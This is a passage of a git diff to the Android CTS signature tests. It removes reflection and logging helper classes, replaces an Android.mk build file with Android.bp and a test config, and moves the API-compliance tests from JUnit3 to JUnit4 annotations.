-     * @return The package + short class name
-     */
-    public String getAbsoluteClassName() {
-        return mAbsoluteClassName;
-    }
-
-    /**
-     * Sets the modifier for the class under test.
-     *
-     * @param modifier the modifier
-     */
-    public void setModifier(int modifier) {
-        mModifier = modifier;
-    }
-
-    /**
-     * Sets the return type for the class under test.
-     *
-     * @param type the return type
-     */
-    public void setType(JDiffType type) {
-        mClassType = type;
-    }
-
-    /**
-     * Sets the class that is beign extended for the class under test.
-     *
-     * @param extendsClass the class being extended.
-     */
-    void setExtendsClass(String extendsClass) {
-        mExtendedClass = extendsClass;
-    }
-
-    /**
-     * Cleans up jdiff parameters to canonicalize them.
-     *
-     * @param paramType the parameter from jdiff.
-     * @return the scrubbed version of the parameter.
-     */
-    private static String scrubJdiffParamType(String paramType) {
-        // <? extends java.lang.Object and <?> are the same, so
-        // canonicalize them to one form.
-        return paramType
-            .replace("? extends java.lang.Object", "?")
-            .replace("? super java.lang.Object", "? super ?");
-    }
-
-    @Override
-    public String toString() {
-        return mAbsoluteClassName;
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/LogHelper.java b/tests/signature/src/android/signature/cts/LogHelper.java
deleted file mode 100644
index 0cde3eb..0000000
--- a/tests/signature/src/android/signature/cts/LogHelper.java
+++ /dev/null
@@ -1,25 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-/**
- */
-public class LogHelper {
-
-    static void loge(String message, Exception exception) {
-        System.err.println(String.format("%s: %s", message, exception));
-    }
-}
diff --git a/tests/signature/src/android/signature/cts/ReflectionHelper.java b/tests/signature/src/android/signature/cts/ReflectionHelper.java
deleted file mode 100644
index 790692d..0000000
--- a/tests/signature/src/android/signature/cts/ReflectionHelper.java
+++ /dev/null
@@ -1,509 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.signature.cts;
-
-import java.lang.annotation.Annotation;
-import java.lang.reflect.Constructor;
-import java.lang.reflect.Field;
-import java.lang.reflect.GenericArrayType;
-import java.lang.reflect.Member;
-import java.lang.reflect.Method;
-import java.lang.reflect.Modifier;
-import java.lang.reflect.ParameterizedType;
-import java.lang.reflect.Type;
-import java.lang.reflect.TypeVariable;
-import java.lang.reflect.WildcardType;
-import java.util.ArrayList;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Uses reflection to obtain runtime representations of elements in the API.
- */
-public class ReflectionHelper {
-
-    /**
-     * Finds the reflected class for the class under test.
-     *
-     * @param classDescription the description of the class to find.
-     * @return the reflected class, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    public static Class<?> findMatchingClass(JDiffClassDescription classDescription, ClassProvider classProvider)
-            throws ClassNotFoundException {
-        // even if there are no . in the string, split will return an
-        // array of length 1
-        String shortClassName = classDescription.getShortClassName();
-        String[] classNameParts = shortClassName.split("\\.");
-        String packageName = classDescription.getPackageName();
-        String outermostClassName = packageName + "." + classNameParts[0];
-        int firstInnerClassNameIndex = 0;
-
-        return searchForClass(classProvider, classDescription.getAbsoluteClassName(),
-                outermostClassName, classNameParts,
-                firstInnerClassNameIndex);
-    }
-
-    private static Class<?> searchForClass(
-            ClassProvider classProvider,
-            String absoluteClassName,
-            String outermostClassName, String[] classNameParts,
-            int outerClassNameIndex) throws ClassNotFoundException {
-
-        Class<?> clz = classProvider.getClass(outermostClassName);
-        if (clz.getCanonicalName().equals(absoluteClassName)) {
-            return clz;
-        }
-
-        // Then it must be an inner class.
-        for (int x = outerClassNameIndex + 1; x < classNameParts.length; x++) {
-            clz = findInnerClassByName(clz, classNameParts[x]);
-            if (clz == null) {
-                return null;
-            }
-            if (clz.getCanonicalName().equals(absoluteClassName)) {
-                return clz;
-            }
-        }
-        return null;
-    }
-
-    static Class<?> findMatchingClass(String absoluteClassName, ClassProvider classProvider)
-            throws ClassNotFoundException {
-
-        String[] classNameParts = absoluteClassName.split("\\.");
-        StringBuilder builder = new StringBuilder();
-        String separator = "";
-        int start;
-        for (start = 0; start < classNameParts.length; start++) {
-            String classNamePart = classNameParts[start];
-            builder.append(separator).append(classNamePart);
-            separator = ".";
-            if (Character.isUpperCase(classNamePart.charAt(0))) {
-                break;
-            }
-        }
-        String outermostClassName = builder.toString();
-
-        return searchForClass(classProvider, absoluteClassName, outermostClassName, classNameParts,
-                start);
-    }
-
-    /**
-     * Searches the class for the specified inner class.
-     *
-     * @param clz the class to search in.
-     * @param simpleName the simpleName of the class to find
-     * @return the class being searched for, or null if it can't be found.
-     */
-    private static Class<?> findInnerClassByName(Class<?> clz, String simpleName) {
-        for (Class<?> c : clz.getDeclaredClasses()) {
-            if (c.getSimpleName().equals(simpleName)) {
-                return c;
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Searches available constructor.
-     *
-     * @param runtimeClass the class in which to search.
-     * @param jdiffDes constructor description to find.
-     * @return reflected constructor, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    static Constructor<?> findMatchingConstructor(Class<?> runtimeClass,
-            JDiffClassDescription.JDiffConstructor jdiffDes) {
-        for (Constructor<?> c : runtimeClass.getDeclaredConstructors()) {
-            Type[] params = c.getGenericParameterTypes();
-            boolean isStaticClass = ((runtimeClass.getModifiers() & Modifier.STATIC) != 0);
-
-            int startParamOffset = 0;
-            int numberOfParams = params.length;
-
-            // non-static inner class -> skip implicit parent pointer
-            // as first arg
-            if (runtimeClass.isMemberClass() && !isStaticClass && params.length >= 1) {
-                startParamOffset = 1;
-                --numberOfParams;
-            }
-
-            ArrayList<String> jdiffParamList = jdiffDes.mParamList;
-            if (jdiffParamList.size() == numberOfParams) {
-                boolean isFound = true;
-                // i counts jdiff params, j counts reflected params
-                int i = 0;
-                int j = startParamOffset;
-                while (i < jdiffParamList.size()) {
-                    if (!compareParam(jdiffParamList.get(i), params[j])) {
-                        isFound = false;
-                        break;
-                    }
-                    ++i;
-                    ++j;
-                }
-                if (isFound) {
-                    return c;
-                }
-            }
-        }
-        return null;
-    }
-
-    /**
-     * Compares the parameter from the API and the parameter from
-     * reflection.
-     *
-     * @param jdiffParam param parsed from the API xml file.
-     * @param reflectionParamType param gotten from the Java reflection.
-     * @return True if the two params match, otherwise return false.
-     */
-    private static boolean compareParam(String jdiffParam, Type reflectionParamType) {
-        if (jdiffParam == null) {
-            return false;
-        }
-
-        String reflectionParam = typeToString(reflectionParamType);
-        // Most things aren't varargs, so just do a simple compare
-        // first.
-        if (jdiffParam.equals(reflectionParam)) {
-            return true;
-        }
-
-        // Check for varargs.  jdiff reports varargs as ..., while
-        // reflection reports them as []
-        int jdiffParamEndOffset = jdiffParam.indexOf("...");
-        int reflectionParamEndOffset = reflectionParam != null ? reflectionParam.indexOf("[]") : -1;
-        if (jdiffParamEndOffset != -1 && reflectionParamEndOffset != -1) {
-            jdiffParam = jdiffParam.substring(0, jdiffParamEndOffset);
-            reflectionParam = reflectionParam.substring(0, reflectionParamEndOffset);
-            return jdiffParam.equals(reflectionParam);
-        }
-
-        return false;
-    }
-
-    /**
-     * Finds the reflected method specified by the method description.
-     *
-     * @param runtimeClass the class in which to search.
-     * @param method description of the method to find
-     * @return the reflected method, or null if not found.
-     */
-    @SuppressWarnings("unchecked")
-    static Method findMatchingMethod(Class<?> runtimeClass,
-            JDiffClassDescription.JDiffMethod method) {
-        Method[] methods = runtimeClass.getDeclaredMethods();
-
-        for (Method m : methods) {
-            if (matches(method, m)) {
-                return m;
-            }
-        }
-
-        return null;
-    }
-
-    /**
-     * Checks if the two types of methods are the same.
-     *
-     * @param jDiffMethod the jDiffMethod to compare
-     * @param reflectedMethod the reflected method to compare
-     * @return true, if both methods are the same
-     */
-    static boolean matches(JDiffClassDescription.JDiffMethod jDiffMethod,
-            Method reflectedMethod) {
-        // If the method names aren't equal, the methods can't match.
-        if (!jDiffMethod.mName.equals(reflectedMethod.getName())) {
-            return false;
-        }
-        String jdiffReturnType = jDiffMethod.mReturnType;
-        String reflectionReturnType = typeToString(reflectedMethod.getGenericReturnType());
-        List<String> jdiffParamList = jDiffMethod.mParamList;
-
-        // Next, compare the return types of the two methods.  If
-        // they aren't equal, the methods can't match.
-        if (!jdiffReturnType.equals(reflectionReturnType)) {
-            return false;
-        }
-
-        Type[] params = reflectedMethod.getGenericParameterTypes();
-
-        // Next, check the method parameters.  If they have different
-        // parameter lengths, the two methods can't match.
-        if (jdiffParamList.size() != params.length) {
-            return false;
-        }
-
-        boolean piecewiseParamsMatch = true;
-
-        // Compare method parameters piecewise and return true if they all match.
-        for (int i = 0; i < jdiffParamList.size(); i++) {
-            piecewiseParamsMatch &= compareParam(jdiffParamList.get(i), params[i]);
-        }
-        if (piecewiseParamsMatch) {
-            return true;
-        }
-
-        /* NOTE: There are cases where piecewise method parameter checking
-         * fails even though the strings are equal, so compare entire strings
-         * against each other. This is not done by default to avoid a
-         * TransactionTooLargeException.
-         * Additionally, this can fail anyway due to extra
-         * information dug up by reflection.
-         *
-         * TODO: fix parameter equality checking and reflection matching
-         * See https://b.corp.google.com/issues/27726349
-         */
-
-        StringBuilder reflectedMethodParams = new StringBuilder("");
-        StringBuilder jdiffMethodParams = new StringBuilder("");
-
-        for (int i = 0; i < jdiffParamList.size(); i++) {
-            jdiffMethodParams.append(jdiffParamList.get(i));
-            reflectedMethodParams.append(params[i]);
-        }
-
-        String jDiffFName = jdiffMethodParams.toString();
-        String refName = reflectedMethodParams.toString();
-
-        return jDiffFName.equals(refName);
-    }
-
-    /**
-     * Converts WildcardType array into a jdiff compatible string..
-     * This is a helper function for typeToString.
-     *
-     * @param types array of types to format.
-     * @return the jdiff formatted string.
-     */
-    private static String concatWildcardTypes(Type[] types) {
-        StringBuilder sb = new StringBuilder();
-        int elementNum = 0;
-        for (Type t : types) {
-            sb.append(typeToString(t));
-            if (++elementNum < types.length) {
-                sb.append(" & ");
-            }
-        }
-        return sb.toString();
-    }
-
-    /**
-     * Converts a Type into a jdiff compatible String.  The returned
-     * types from this function should match the same Strings that
-     * jdiff is providing to us.
-     *
-     * @param type the type to convert.
-     * @return the jdiff formatted string.
-     */
-    private static String typeToString(Type type) {
-        if (type instanceof ParameterizedType) {
-            ParameterizedType pt = (ParameterizedType) type;
-
-            StringBuilder sb = new StringBuilder();
-            sb.append(typeToString(pt.getRawType()));
-            sb.append("<");
-
-            int elementNum = 0;
-            Type[] types = pt.getActualTypeArguments();
-            for (Type t : types) {
-                sb.append(typeToString(t));
-                if (++elementNum < types.length) {
-                    sb.append(", ");
-                }
-            }
-
-            sb.append(">");
-            return sb.toString();
-        } else if (type instanceof TypeVariable) {
-            return ((TypeVariable<?>) type).getName();
-        } else if (type instanceof Class) {
-            return ((Class<?>) type).getCanonicalName();
-        } else if (type instanceof GenericArrayType) {
-            String typeName = typeToString(((GenericArrayType) type).getGenericComponentType());
-            return typeName + "[]";
-        } else if (type instanceof WildcardType) {
-            WildcardType wt = (WildcardType) type;
-            Type[] lowerBounds = wt.getLowerBounds();
-            if (lowerBounds.length == 0) {
-                String name = "? extends " + concatWildcardTypes(wt.getUpperBounds());
-
-                // Special case for ?
-                if (name.equals("? extends java.lang.Object")) {
-                    return "?";
-                } else {
-                    return name;
-                }
-            } else {
-                String name = concatWildcardTypes(wt.getUpperBounds()) +
-                        " super " +
-                        concatWildcardTypes(wt.getLowerBounds());
-                // Another special case for ?
-                name = name.replace("java.lang.Object", "?");
-                return name;
-            }
-        } else {
-            throw new RuntimeException("Got an unknown java.lang.Type");
-        }
-    }
-
-    /**
-     * Returns a Class representing an annotation type of the given name.
-     */
-    @SuppressWarnings("unchecked")
-    public static Class<? extends Annotation> getAnnotationClass(String name) {
-        try {
-            Class<?> clazz = Class.forName(
-                    name, false, ReflectionHelper.class.getClassLoader());
-            if (clazz.isAnnotation()) {
-                return (Class<? extends Annotation>) clazz;
-            } else {
-                return null;
-            }
-        } catch (ClassNotFoundException e) {
-            return null;
-        }
-    }
-
-    /**
-     * Returns a list of constructors which are annotated with the given annotation class.
-     */
-    public static Set<Constructor<?>> getAnnotatedConstructors(Class<?> clazz,
-            Class<? extends Annotation> annotation) {
-        Set<Constructor<?>> result = new HashSet<>();
-        if (annotation != null) {
-            for (Constructor<?> c : clazz.getDeclaredConstructors()) {
-                if (c.isAnnotationPresent(annotation)) {
-                    // TODO(b/71630695): currently, some API members are not annotated, because
-                    // a member is automatically added to the API set if it is in a class with
-                    // annotation and it is not @hide. <member>.getDeclaringClass().
-                    // isAnnotationPresent(annotationClass) won't help because it will then
-                    // incorrectly include non-API members which are marked as @hide;
-                    // @hide isn't visible at runtime. Until the issue is fixed, we should
-                    // omit those automatically added API members from the test.
-                    result.add(c);
-                }
-            }
-        }
-        return result;
-    }
-
-    /**
-     * Returns a list of methods which are annotated with the given annotation class.
-     */
-    public static Set<Method> getAnnotatedMethods(Class<?> clazz,
-            Class<? extends Annotation> annotation) {
-        Set<Method> result = new HashSet<>();
-        if (annotation != null) {
-            for (Method m : clazz.getDeclaredMethods()) {
-                if (m.isAnnotationPresent(annotation)) {
-                    // TODO(b/71630695): see getAnnotatedConstructors for details
-                    result.add(m);
-                }
-            }
-        }
-        return result;
-    }
-
-    /**
-     * Returns a list of fields which are annotated with the given annotation class.
-     */
-    public static Set<Field> getAnnotatedFields(Class<?> clazz,
-            Class<? extends Annotation> annotation) {
-        Set<Field> result = new HashSet<>();
-        if (annotation != null) {
-            for (Field f : clazz.getDeclaredFields()) {
-                if (f.isAnnotationPresent(annotation)) {
-                    // TODO(b/71630695): see getAnnotatedConstructors for details
-                    result.add(f);
-                }
-            }
-        }
-        return result;
-    }
-
-    private static boolean isInAnnotatedClass(Member m,
-            Class<? extends Annotation> annotationClass) {
-        Class<?> clazz = m.getDeclaringClass();
-        do {
-            if (clazz.isAnnotationPresent(annotationClass)) {
-                return true;
-            }
-        } while ((clazz = clazz.getDeclaringClass()) != null);
-        return false;
-    }
-
-    public static boolean isAnnotatedOrInAnnotatedClass(Field field,
-            Class<? extends Annotation> annotationClass) {
-        if (annotationClass == null) {
-            return true;
-        }
-        return field.isAnnotationPresent(annotationClass)
-                || isInAnnotatedClass(field, annotationClass);
-    }
-
-    public static boolean isAnnotatedOrInAnnotatedClass(Constructor<?> constructor,
-            Class<? extends Annotation> annotationClass) {
-        if (annotationClass == null) {
-            return true;
-        }
-        return constructor.isAnnotationPresent(annotationClass)
-                || isInAnnotatedClass(constructor, annotationClass);
-    }
-
-    public static boolean isAnnotatedOrInAnnotatedClass(Method method,
-            Class<? extends Annotation> annotationClass) {
-        if (annotationClass == null) {
-            return true;
-        }
-        return method.isAnnotationPresent(annotationClass)
-                || isInAnnotatedClass(method, annotationClass);
-    }
-
-    public static boolean isOverridingAnnotatedMethod(Method method,
-            Class<? extends Annotation> annotationClass) {
-        Class<?> clazz = method.getDeclaringClass();
-        while (!(clazz = clazz.getSuperclass()).equals(Object.class)) {
-            try {
-                Method overriddenMethod;
-                overriddenMethod = clazz.getDeclaredMethod(method.getName(),
-                        method.getParameterTypes());
-                if (overriddenMethod != null) {
-                    return isAnnotatedOrInAnnotatedClass(overriddenMethod, annotationClass);
-                }
-            } catch (NoSuchMethodException e) {
-                continue;
-            } catch (SecurityException e) {
-                throw new RuntimeException(
-                        "Error while searching for overridden method. " + method.toString(), e);
-            }
-        }
-        return false;
-    }
-
-    static Class<?> findRequiredClass(JDiffClassDescription classDescription,
-            ClassProvider classProvider) {
-        try {
-            return findMatchingClass(classDescription, classProvider);
-        } catch (ClassNotFoundException e) {
-            LogHelper.loge("ClassNotFoundException for " + classDescription.getAbsoluteClassName(), e);
-            return null;
-        }
-    }
-}
diff --git a/tests/signature/tests/Android.bp b/tests/signature/tests/Android.bp
new file mode 100644
index 0000000..1077b40
--- /dev/null
+++ b/tests/signature/tests/Android.bp
@@ -0,0 +1,23 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+java_test_host {
+  name: "signature-host-tests",
+  srcs: ["src/**/*.java"],
+  static_libs: [
+    "junit",
+    "signature-hostside",
+  ],
+  test_suites: ["general-tests"],
+}
diff --git a/tests/signature/tests/Android.mk b/tests/signature/tests/Android.mk
deleted file mode 100644
index 0c9c24c..0000000
--- a/tests/signature/tests/Android.mk
+++ /dev/null
@@ -1,26 +0,0 @@
-# Copyright (C) 2010 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-# Include all test java files.
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_MODULE := signature-tests
-LOCAL_MODULE_TAGS := optional
-LOCAL_JAVA_LIBRARIES := tradefed cts-tradefed signature-hostside
-
-include $(BUILD_HOST_JAVA_LIBRARY)
diff --git a/tests/signature/tests/AndroidTest.xml b/tests/signature/tests/AndroidTest.xml
new file mode 100644
index 0000000..dc776eb
--- /dev/null
+++ b/tests/signature/tests/AndroidTest.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2019 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<!-- Note: This should not be necessary, as autogeneration should work.
+           However, atest does not find the module without it. -->
+<configuration description="Runs signature host tests">
+    <option name="test-suite-tag" value="apct" />
+    <option name="test-suite-tag" value="apct-junit" />
+    <test class="com.android.tradefed.testtype.HostTest" >
+        <option name="jar" value="signature-host-tests.jar" />
+    </test>
+</configuration>
diff --git a/tests/signature/tests/run_unit_tests.sh b/tests/signature/tests/run_unit_tests.sh
index 02f914c..63f0bc0 100755
--- a/tests/signature/tests/run_unit_tests.sh
+++ b/tests/signature/tests/run_unit_tests.sh
@@ -36,7 +36,7 @@
 fi;
 
 JAR_DIR=${ANDROID_BUILD_TOP}/out/host/$OS/framework
-JARS="tradefed.jar hosttestlib.jar signature-hostside.jar signature-tests.jar"
+JARS="tradefed.jar signature-host-tests.jar"
 
 for JAR in $JARS; do
     checkFile ${JAR_DIR}/${JAR}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AbstractApiCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AbstractApiCheckerTest.java
index b8fea80..6f6b6b4 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AbstractApiCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AbstractApiCheckerTest.java
@@ -24,13 +24,13 @@
 import java.lang.reflect.Modifier;
 import java.util.Arrays;
 import java.util.function.Consumer;
-import junit.framework.Assert;
-import junit.framework.TestCase;
+
+import org.junit.Assert;
 
 /**
  * Base class for tests of implementations of {@link AbstractApiChecker}.
  */
-public abstract class AbstractApiCheckerTest<T extends AbstractApiChecker> extends TestCase {
+public abstract class AbstractApiCheckerTest<T extends AbstractApiChecker> {
 
     static final String VALUE = "VALUE";
 
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java b/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
deleted file mode 100644
index 71b1e35..0000000
--- a/tests/signature/tests/src/android/signature/cts/tests/AllTests.java
+++ /dev/null
@@ -1,36 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.signature.cts.tests;
-
-import junit.framework.Test;
-import junit.framework.TestSuite;
-
-/**
- * Finds all instrumentation and unit tests for this application.
- */
-public class AllTests extends TestSuite {
-
-    public AllTests() {
-        super();
-
-        addTestSuite(ApiComplianceCheckerTest.class);
-    }
-
-    public static Test suite() {
-        return new AllTests();
-    }
-}
diff --git a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
index ef4bebe..7682a50 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/AnnotationCheckerTest.java
@@ -24,10 +24,14 @@
 import android.signature.cts.tests.data.ApiAnnotation;
 import java.lang.reflect.Modifier;
 
+import org.junit.Test;
+import org.junit.runners.JUnit4;
+import org.junit.runner.RunWith;
+
 /**
  * Test class for {@link android.signature.cts.AnnotationChecker}.
  */
-@SuppressWarnings("deprecation")
+@RunWith(JUnit4.class)
 public class AnnotationCheckerTest extends AbstractApiCheckerTest<AnnotationChecker> {
 
     @Override
@@ -60,6 +64,7 @@
     /**
      * Documented API and runtime classes are exactly matched.
      */
+    @Test
     public void testExactApiMatch() {
         JDiffClassDescription clz = createClass("SystemApiClass");
         addConstructor(clz);
@@ -83,6 +88,7 @@
     /**
      * A constructor is found in the runtime class, but not in the documented API
      */
+    @Test
     public void testDetectUnauthorizedConstructorApi() {
         ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD);
 
@@ -112,6 +118,7 @@
     /**
      * A method is found in the runtime class, but not in the documented API
      */
+    @Test
     public void testDetectUnauthorizedMethodApi() {
         ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_METHOD);
 
@@ -141,6 +148,7 @@
     /**
      * A field is found in the runtime class, but not in the documented API
      */
+    @Test
     public void testDetectUnauthorizedFieldApi() {
         ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_FIELD);
 
@@ -170,6 +178,7 @@
     /**
      * A class is found in the runtime classes, but not in the documented API
      */
+    @Test
     public void testDetectUnauthorizedClassApi() {
         ExpectFailure observer = new ExpectFailure(FailureType.EXTRA_CLASS);
         JDiffClassDescription clz = createClass("SystemApiClass");
@@ -198,6 +207,7 @@
     /**
      * A member which is declared in an annotated class is currently recognized as an API.
      */
+    @Test
     public void testB71630695() {
         // TODO(b/71630695): currently, some API members are not annotated, because
         // a member is automatically added to the API set if it is in a class with
@@ -238,6 +248,7 @@
      * An API is documented, but isn't annotated in the runtime class. But, due to b/71630695, this
      * test can only be done for public API classes.
      */
+    @Test
     public void testDetectMissingAnnotation() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISSING_ANNOTATION);
 
@@ -283,6 +294,7 @@
      * A <code>@hide</code> method should be recognized as API though it is not annotated, if it is
      * overriding a method which is already an API.
      */
+    @Test
     public void testOverriddenHidenMethodIsApi() {
         JDiffClassDescription clz = createClass("PublicApiClass");
         addConstructor(clz);
diff --git a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
index 7942298..0a4558e 100644
--- a/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
+++ b/tests/signature/tests/src/android/signature/cts/tests/ApiComplianceCheckerTest.java
@@ -16,6 +16,8 @@
 
 package android.signature.cts.tests;
 
+import static org.junit.Assert.assertEquals;
+
 import android.signature.cts.ApiComplianceChecker;
 import android.signature.cts.ClassProvider;
 import android.signature.cts.FailureType;
@@ -26,24 +28,31 @@
 import android.signature.cts.tests.data.NormalInterface;
 import java.lang.reflect.Modifier;
 
+import org.junit.Ignore;
+import org.junit.Test;
+import org.junit.runners.JUnit4;
+import org.junit.runner.RunWith;
+
 /**
  * Test class for JDiffClassDescription.
  */
-@SuppressWarnings("deprecation")
+@RunWith(JUnit4.class)
 public class ApiComplianceCheckerTest extends AbstractApiCheckerTest<ApiComplianceChecker> {
-    
+
     @Override
     protected ApiComplianceChecker createChecker(ResultObserver resultObserver,
             ClassProvider provider) {
         return new ApiComplianceChecker(resultObserver, provider);
     }
 
+    @Test
     public void testNormalClassCompliance() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         checkSignatureCompliance(clz);
         assertEquals(clz.toSignatureString(), "public class NormalClass");
     }
 
+    @Test
     public void testMissingClass() {
         ExpectFailure observer = new ExpectFailure(FailureType.MISSING_CLASS);
         JDiffClassDescription clz = new JDiffClassDescription(
@@ -53,6 +62,7 @@
         observer.validate();
     }
 
+    @Test
     public void testSimpleConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffConstructor constructor =
@@ -62,6 +72,7 @@
         assertEquals(constructor.toSignatureString(), "public NormalClass()");
     }
 
+    @Test
     public void testOneArgConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffConstructor constructor =
@@ -72,6 +83,7 @@
         assertEquals(constructor.toSignatureString(), "private NormalClass(java.lang.String)");
     }
 
+    @Test
     public void testConstructorThrowsException() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffConstructor constructor =
@@ -86,6 +98,7 @@
                         "throws android.signature.cts.tests.data.NormalException");
     }
 
+    @Test
     public void testPackageProtectedConstructor() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffConstructor constructor =
@@ -99,6 +112,7 @@
                 "NormalClass(java.lang.String, java.lang.String, java.lang.String)");
     }
 
+    @Test
     public void testStaticMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("staticMethod",
@@ -108,6 +122,7 @@
         assertEquals(method.toSignatureString(), "public static void staticMethod()");
     }
 
+    @Test
     public void testSyncMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("syncMethod",
@@ -117,6 +132,7 @@
         assertEquals(method.toSignatureString(), "public synchronized void syncMethod()");
     }
 
+    @Test
     public void testPackageProtectMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("packageProtectedMethod", 0, "boolean");
@@ -125,6 +141,7 @@
         assertEquals(method.toSignatureString(), "boolean packageProtectedMethod()");
     }
 
+    @Test
     public void testPrivateMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("privateMethod", Modifier.PRIVATE,
@@ -134,6 +151,7 @@
         assertEquals(method.toSignatureString(), "private void privateMethod()");
     }
 
+    @Test
     public void testProtectedMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("protectedMethod", Modifier.PROTECTED,
@@ -143,6 +161,7 @@
         assertEquals(method.toSignatureString(), "protected java.lang.String protectedMethod()");
     }
 
+    @Test
     public void testThrowsMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("throwsMethod", Modifier.PUBLIC, "void");
@@ -153,6 +172,7 @@
                 "throws android.signature.cts.tests.data.NormalException");
     }
 
+    @Test
     public void testNativeMethod() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffMethod method = method("nativeMethod",
@@ -162,6 +182,7 @@
         assertEquals(method.toSignatureString(), "public native void nativeMethod()");
     }
 
+    @Test
     public void testFinalField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -171,6 +192,7 @@
         assertEquals(field.toSignatureString(), "public final java.lang.String FINAL_FIELD");
     }
 
+    @Test
     public void testStaticField() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
         JDiffClassDescription.JDiffField field = new JDiffClassDescription.JDiffField(
@@ -180,6 +202,7 @@
         assertEquals(field.toSignatureString(), "public static java.lang.String STATIC_FIELD");
     }
 
+    @Test
     public void testVolatileFiled() {
         JDiffClassDescription clz = createClass(NormalClass.class.getSimpleName());
